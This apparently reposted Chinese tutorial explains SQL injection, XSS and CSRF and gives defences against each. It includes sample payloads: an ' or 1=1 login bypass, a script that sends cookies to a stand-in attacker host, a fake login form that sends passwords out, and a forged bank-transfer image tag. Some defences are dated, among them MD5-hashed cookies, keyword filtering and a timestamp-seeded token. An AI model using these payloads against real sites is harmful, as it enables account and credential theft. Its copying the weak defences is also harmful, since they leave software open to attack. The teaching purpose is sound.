Web攻防之XSS,CSRF,SQL注入
copy to:https://www.cnblogs.com/drawwindows/archive/2013/03/11/2954259.html
摘要:對Web伺服器的攻擊也可以說是形形色色、種類繁多,常見的有掛馬、SQL注入、緩衝區溢位、嗅探、利用IIS等針對Webserver漏洞進行攻擊。本文結合WEB TOP10漏洞中常見的SQL注入,跨站指令碼攻擊(XSS),跨站請求偽造(CSRF)攻擊的產生原理,介紹相應的防範方法。
關鍵字:SQL注入,XSS,CSRF
1.SQL注入
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字串,欺騙伺服器執行惡意的SQL命令。 攻擊者通過在應用程式預先定義好的SQL語句結尾加上額外的SQL語句元素,欺騙資料庫伺服器執行非授權的查詢,篡改命令。
它能夠輕易的繞過防火牆直接訪問資料庫,甚至能夠獲得資料庫所在的伺服器的系統許可權。在Web應用漏洞中,SQL Injection 漏洞的風險要高過其他所有的漏洞。
攻擊原理
假設的登入查詢 SELECT * FROM users WHERE login = 'victor' AND password = '123 Sever端程式碼 String sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; 輸入字元 formusr = ' or 1=1 formpwd = anything 實際的查詢程式碼 SELECT * FROM users WHERE username = ' ' or 1=1 AND password = 'anything'
發現注入點簡單辦法
1.尋找帶有查詢字串的url的網頁(例如,查詢那些在URL裡帶有"id=" 的URL)。
2.向這個網站傳送一個請求,改變其中的id=語句,帶一個額外的單引號(例如:id=123’)。
3.檢視返回的內容,在其中查詢“sql”,“statement”等關鍵字(這也說明返回了具體的錯誤資訊,這本身就很糟糕)。如下圖:
4.錯誤訊息是否表示傳送到SQL伺服器的引數沒有被正確編碼果如此,那麼表示可對該網站進行SQL注入攻擊。
如何防範SQL注入攻擊
一個常見的錯誤是,假如你使用了儲存過程或ORM,你就完全不受SQL注入攻擊之害了。這是不正確的,你還是需要確定在給儲存過程傳遞資料時你很謹慎,或在用ORM來定製一個查詢時,你的做法是安全的。
引數化查詢已被視為最有效的可防禦SQL注入攻擊的防禦方式。目前主流的ORM 框架都內建支援並且推薦使用這種方式進行持久層封裝。
所謂的引數化查詢(Parameterized Query 或 Parameterized Statement)是指在設計與資料庫連結並訪問資料時,在需要填入數值或資料的地方,使用引數 (Parameter) 來給值。
例:
SELECT * FROM myTable WHERE myID = @myID INSERT INTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4) VALUES(?,?,?,?)
通過(?)指定佔位符,當然在新增引數的時候,必須按照(c1, c2, c3, c4)的順序來新增,否則會出錯。
2.跨站指令碼攻擊(XSS)
XSS 全稱(Cross Site Scripting) 跨站指令碼攻擊, 是Web程式中最常見的漏洞。指攻擊者在網頁中嵌入客戶端指令碼(例如JavaScript), 當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的. 比如獲取使用者的Cookie,導航到惡意網站,攜帶木馬等。
攻擊原理
假如頁面有如下一個輸入框 <input type="text" name="record" value="沙發"> 【沙發】是來自使用者的輸入,如果使用者輸入的是"onfocus="alert(document.cookie) 那麼就會變成 <input type="text" name="address1" value="" onfocus="alert(document.cookie)"> 事件被觸發的時候嵌入的JavaScript程式碼將會被執行 攻擊的威力,取決於使用者輸入了什麼樣的指令碼。
XSS分類
1. 反射型XSS
反射型XSS,又稱非持久型XSS。之所以稱為反射型XSS,則是因為這種攻擊方式的注入程式碼是從目標伺服器通過錯誤資訊、搜尋結果等等方式“反射”回來的。而稱為非持久型XSS,則是因為這種攻擊方式具有一次性。攻擊者通過電子郵件等方式將包含注入指令碼的惡意連結傳送給受害者,當受害者點選該連結時,注入指令碼被傳輸到目標伺服器上,然後伺服器將注入指令碼“反射”到受害者的瀏覽器上,從而在該瀏覽器上執行了這段指令碼。
比如攻擊者將如下連結傳送給受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
當受害者點選這個連結的時候,注入的指令碼被當作搜尋的關鍵詞傳送到目標伺服器的search.asp頁面中,則在搜尋結果的返回頁面中,這段指令碼將被當作搜尋的關鍵詞而嵌入。這樣,當用戶得到搜尋結果頁面後,這段指令碼也得到了執行。這就是反射型XSS攻擊的原理,可以看到,攻擊者巧妙地通過反射型XSS的攻擊方式,達到了在受害者的瀏覽器上執行指令碼的目的。由於程式碼注入的是一個動態產生的頁面而不是永久的頁面,因此這種攻擊方式只在點選連結的時候才產生作用,這也是它被稱為非持久型XSS的原因
2.儲存型XSS
儲存型XSS,又稱持久型XSS,他和反射型XSS最大的不同就是,攻擊指令碼將被永久地存放在目標伺服器的資料庫和檔案中。這種攻擊多見於論壇,攻擊者在發帖的過程中,將惡意指令碼連同正常資訊一起注入到帖子的內容之中。隨著帖子被論壇伺服器儲存下來,惡意指令碼也永久地被存放在論壇伺服器的後端儲存器中。當其它使用者瀏覽這個被注入了惡意指令碼的帖子的時候,惡意指令碼則會在他們的瀏覽器中得到執行,從而受到了攻擊。
Xss危害
1.盜取cookie
通過XSS攻擊,由於注入程式碼是在受害者的瀏覽器上執行,因此能夠很方便地竊取到受害者的Cookie資訊。比如,我們只要注入類似如下的程式碼:
<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
當受害者的瀏覽器執行這段指令碼的時候,就會自動訪問攻擊者建立的網站www.attackpage.com,開啟其中的recourd.asp,將受害者瀏覽器的Cookie資訊給記錄下來。這樣,攻擊者就得到了使用者的Cookie資訊。
得到受害者的Cookie資訊後,攻擊者可以很方便地冒充受害者,從而擁有其在目標伺服器上的所有許可權,相當於受害者的身份認證被竊取了。
2.釣魚攻擊
所謂釣魚攻擊就是構建一個釣魚頁面,誘騙受害者在其中輸入一些敏感資訊,然後將其傳送給攻擊者。利用XSS的注入指令碼,我們也可以很方便地注入釣魚頁面的程式碼,從而引導釣魚攻擊。比如下面這樣一段程式碼:
<script> function hack(){
location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value); } </script> <form> <br> <H3>此功能需要登入:</H3 > <br><br>請輸入使用者名稱:<br> <input type=”text” id=”user”name=”user”> <br>請輸入密碼:<br> <input type=”password” name =“pass”> <br><input type=”submit”name=”login” value=”登入”onclick=”hack()”> </form>
注入上面的程式碼後,則會在原來的頁面上,插入一段表單,要求使用者輸入自己的使用者名稱和密碼,而當用戶點選“登入”按鈕後,則會執行hack()函式,將使用者的輸入傳送到攻擊者指定的網站上去。這樣,攻擊者就成功竊取了該用 戶的賬號資訊。和一般的釣魚攻擊不同,XSS引導的釣魚攻擊由於是對使用者信任的網站頁面進行修改的。
3. CSRF攻擊
比如我們注入如下的HTML程式碼:
<imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的程式碼中所訪問的是某個銀行網站的轉賬服務,則當受害者的瀏覽器執行這段指令碼時,就會向攻擊者指定的賬戶(示例的123456)執行轉賬操作。由於這個轉賬請求是在受害者的瀏覽器中執行的,因此瀏覽器也會自 動將受害者的Cookie資訊一併傳送。這樣,傳送的請求就好像是受害者自己傳送的一樣,銀行網站也將認可這個請求的合法性,攻擊者也就達到了偽造請求的目的。
4.傳播惡意軟體
除了直接注入惡意指令碼以外,通過XSS攻擊,攻擊者也可以很方便地在指令碼中引入一些惡意軟體,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個自己建立的頁面上放置一些惡意軟體,然後用XSS注入的方式,插入一 段引用該頁面的指令碼。這樣當受害者的瀏覽器執行這段指令碼的時候,就會自動訪問放置了惡意軟體的頁面,從而受到這些惡意軟體的感染。
XSS的預防
1. 輸入過濾
對使用者的所有輸入資料進行檢測,比如過濾其中的“<”、“>”、“/”等可能導致指令碼注入的特殊字元,或者過濾“script”、“javascript”等指令碼關鍵字,或者對輸入資料的長度進行限制等等。同時,我們也要考慮使用者可能繞開 ASCII碼,使用十六進位制編碼來輸入指令碼。因此,對使用者輸入的十六進位制編碼,我們也要進行相應的過濾。只要能夠嚴格檢測每一處互動點,保證對所有使用者可能的輸入都進行檢測和XSS過濾,就能夠有效地阻止XSS攻擊。
2. 輸出編碼
通過前面對XSS攻擊的分析,我們可以看到,之所以會產生XSS攻擊,就是因為Web應用程式將使用者的輸入直接嵌入到某個頁面當中,作為該頁面的HTML程式碼的一部分。因此,當Web應用程式將使用者的輸入資料輸出到目標 頁面中時,只要用HtmlEncoder等工具先對這些資料進行編碼,然後再輸出到目標頁面中。這樣,如果使用者輸入一些HTML的指令碼,也會被當成普通的文字,而不會成為目標頁面HTML程式碼的一部分得到執行。
3. Cookie防盜
利用XSS攻擊,攻擊者可以很方便地竊取到合法使用者的Cookie資訊。因此,對於Cookie,我們可以採取以下的措施。首先,我們要儘可能地避免在Cookie中洩露隱私,如使用者名稱、密碼等;其次,我們可以將Cookie資訊利用MD5等Hash演算法進行多次雜湊後存放;再次,為了防止重放攻擊,我們也可以將Cookie和IP進行繫結,這樣也可以阻止攻擊者冒充正常使用者的身份。
作為一名普通的網路使用者,在XSS攻擊的預防上我們可以採取以下措施。首先,我們不要輕易相信電子郵件或者網頁中的不明連結,這些連結很有可能引導反射型XSS攻擊或者使我們訪問到一些不安全的網頁。其次,我們在不必要的時候可以禁用指令碼功能,這樣XSS注入的指令碼就無法得到執行。
3. CSRF 攻擊
CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。
你這可以這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義傳送惡意請求。CSRF能夠做的事情包括:以你名義傳送郵件,發訊息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬......造成的問題包括:個人隱私洩露以及財產安全。
CSRF漏洞現狀
CSRF這種攻擊方式在2000年已經被國外的安全人員提出,但在國內,直到06年才開始被關注,08年,國內外的多個大型社群和互動網站分別爆出CSRF漏洞,如:NYTimes.com(紐約時報)、Metafilter(一個大型BLOG網站),YouTube和百度HI......而現在,網際網路上的許多站點仍對此毫無防備,以至於安全業界稱CSRF為“沉睡的巨人”。
原理
網站A :為惡意網站。
網站B :使用者已登入的網站。
當用戶訪問 A站 時,A站 私自訪問 B站 的操作連結,模擬使用者操作。
假設B站有一個刪除評論的連結:http://b.com/comment/?type=delete&id=81723
A站 直接訪問該連結,就能刪除使用者在 B站 的評論。
CSRF 防禦技巧
1.驗證碼
幾乎所有人都知道驗證碼,但驗證碼不單單用來防止註冊機的暴力破解,還可以有效防止CSRF的攻擊。驗證碼算是對抗CSRF攻擊最簡潔有效的方法。但使用驗證碼的問題在於,不可能在使用者的所有操作上都需要輸入驗證碼.只有一些關鍵的操作,才能要求輸入驗證碼。不過隨著HTML5的發展。利用canvas標籤,前端也能識別驗證碼的字元,讓CSRF生效。
2.Token
CSRF能攻擊成功,根本原因是:操作所帶的引數均被攻擊者猜測到。既然知道根本原因,我們就對症下藥,利用Token。當向伺服器傳引數時,帶上Token。這個Token是一個隨機值,並且由伺服器和使用者同時持有。當用戶提交表單時帶上Token值,伺服器就能驗證表單和session中的Token是否一致。
token生成示例程式碼如下
private static SecureRandom secureRandom=null; public static String createToken() { if(secureRandom==null){ String entoropy="LogonSessionEntoropy" + System.currentTimeMillis(); try { secureRandom = SecureRandom.getInstance("SHA1PRNG"); } catch (NoSuchAlgorithmException e) { throw new RuntimeException(e); } secureRandom.setSeed(entoropy.getBytes()); } byte bytes[]=new byte[16]; secureRandom.nextBytes(bytes); byte[] base64Bytes = Base64.encode(bytes); return new String(base64Bytes); }